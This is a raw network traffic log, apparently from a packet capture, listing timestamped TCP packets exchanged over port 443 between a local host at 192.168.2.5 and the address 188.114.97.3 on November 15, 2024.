Nov 15, 2024 01:01:26.354026079 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.354049921 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.356048107 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.581136942 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.581156015 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.581214905 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.581228018 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.581276894 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.581542969 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.581566095 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.581607103 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.581614017 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.581624031 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.581646919 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.582019091 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.582042933 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.582071066 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.582077026 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.582098007 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.582118034 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.582783937 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.582806110 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.582843065 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.582849979 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.582861900 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.582880974 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.583288908 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.583308935 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.583368063 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.583368063 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.583374023 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.583394051 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.583405972 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.583411932 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.583430052 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.583435059 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.583451033 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.583455086 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.583473921 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.583493948 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.583651066 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.583677053 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.583709002 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.583715916 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.583736897 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.583745003 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.584141016 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.584161043 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.584196091 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.584201097 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.584225893 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.584230900 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.584292889 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.584314108 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.584340096 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.584346056 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.584369898 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.584379911 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.584673882 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.584695101 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.584727049 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.584732056 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.584757090 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.584763050 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.585131884 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.585155010 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.585177898 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.585185051 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.585202932 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.585215092 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.585628986 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.585649014 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.585681915 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.585689068 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.585705042 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.585725069 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.586076975 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.586098909 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.586127996 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.586133003 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.586143017 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.586150885 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.586174011 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.590650082 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.830029011 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.830079079 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.830096960 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.830110073 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.830132961 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.830148935 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.830359936 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.830399036 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.830420017 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.830425978 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.830456018 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.830462933 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.830602884 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.830641031 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.830657005 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.830662966 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.830687046 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.830699921 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.830862999 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.830904007 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.830919027 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.830931902 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.830959082 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.830977917 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.831033945 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.831072092 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.831079960 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.831100941 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.831125021 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.831140041 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.831340075 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.831379890 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.831403971 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.831409931 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.831434965 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.831446886 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.831513882 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.831557989 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.831569910 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.831581116 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.831615925 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.831625938 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.831746101 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.831788063 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.831798077 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.831809044 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.831830025 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.831855059 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.831935883 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.831976891 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.831991911 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.831999063 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.832035065 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.832104921 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.832144022 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.832148075 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.832165956 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.832190990 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.832205057 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.832304955 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.832345963 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.832360029 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.832367897 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.832380056 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.832401037 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.832412958 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.832496881 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.832536936 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.832556963 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.832562923 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.832586050 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.832598925 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.832663059 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.832704067 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.832721949 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.832741022 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.832773924 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.832798004 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.832859993 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.832900047 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.832918882 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.832926989 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.832940102 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.832957983 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.832979918 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.833038092 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.833060026 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.833093882 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.833118916 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.833142996 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.835695028 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.028095007 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.028150082 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.028178930 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.028189898 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.028220892 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.028234959 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.028239965 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.028270960 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.028297901 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.032769918 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.032821894 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.032852888 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.032866955 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.032922983 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.033127069 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.033168077 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.033194065 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.033201933 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.033219099 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.033560038 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.033608913 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.033613920 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.033637047 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.033663034 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.034028053 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.034066916 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.034095049 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.034101963 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.034131050 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.034331083 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.034378052 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.034379005 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.034399986 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.034411907 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.034444094 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.034898996 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.034938097 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.034950972 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.034959078 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.034989119 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.035404921 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.035454988 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.035463095 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.035482883 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.035511971 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.035974979 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.036015987 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.036036015 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.036043882 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.036082029 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.036201954 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.036250114 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.036271095 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.036277056 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.036295891 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.036462069 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.036510944 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.036515951 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.036534071 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.036569118 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.036850929 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.036900997 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.036914110 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.036926031 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.036952972 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.037293911 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.037339926 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.037343025 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.037363052 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.037384033 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.037754059 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.037794113 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.037815094 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.037873983 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.037904024 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.038377047 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.038420916 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.038438082 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.038445950 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.038485050 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.038549900 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.038597107 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.038630962 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.038638115 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.038646936 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.038717985 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.038770914 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.038778067 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.056099892 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.059660912 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.256220102 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.256278992 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.256365061 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.256383896 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.256483078 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.256618023 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.256660938 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.256731987 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.256740093 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.256988049 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.257249117 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.257291079 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.257368088 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.257380962 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.257467985 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.257919073 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.257960081 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.258011103 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.258018970 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.258070946 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.258121014 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.258128881 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.258153915 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.258236885 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.258326054 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.258374929 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.258419037 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.258425951 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.258496046 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.258548975 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.258582115 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.258627892 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.258640051 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.258660078 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.264210939 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.264250994 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.264275074 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.264290094 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.264302969 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.264398098 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.264436960 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.264436960 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.264478922 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.264506102 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.264581919 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.264624119 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.264636993 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.264650106 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.264671087 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.264803886 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.264904022 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.264951944 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.264970064 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.264980078 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.265002966 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.265146017 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.265189886 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.265197039 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.265213966 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.265237093 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.265394926 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.265431881 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.265455008 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.265464067 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.265477896 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.265614033 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.265659094 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.265664101 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.265681028 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.265708923 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.265831947 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.265868902 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.265888929 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.265897036 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.265927076 CET	49868	443	192.168.2.5	188.114.97.3
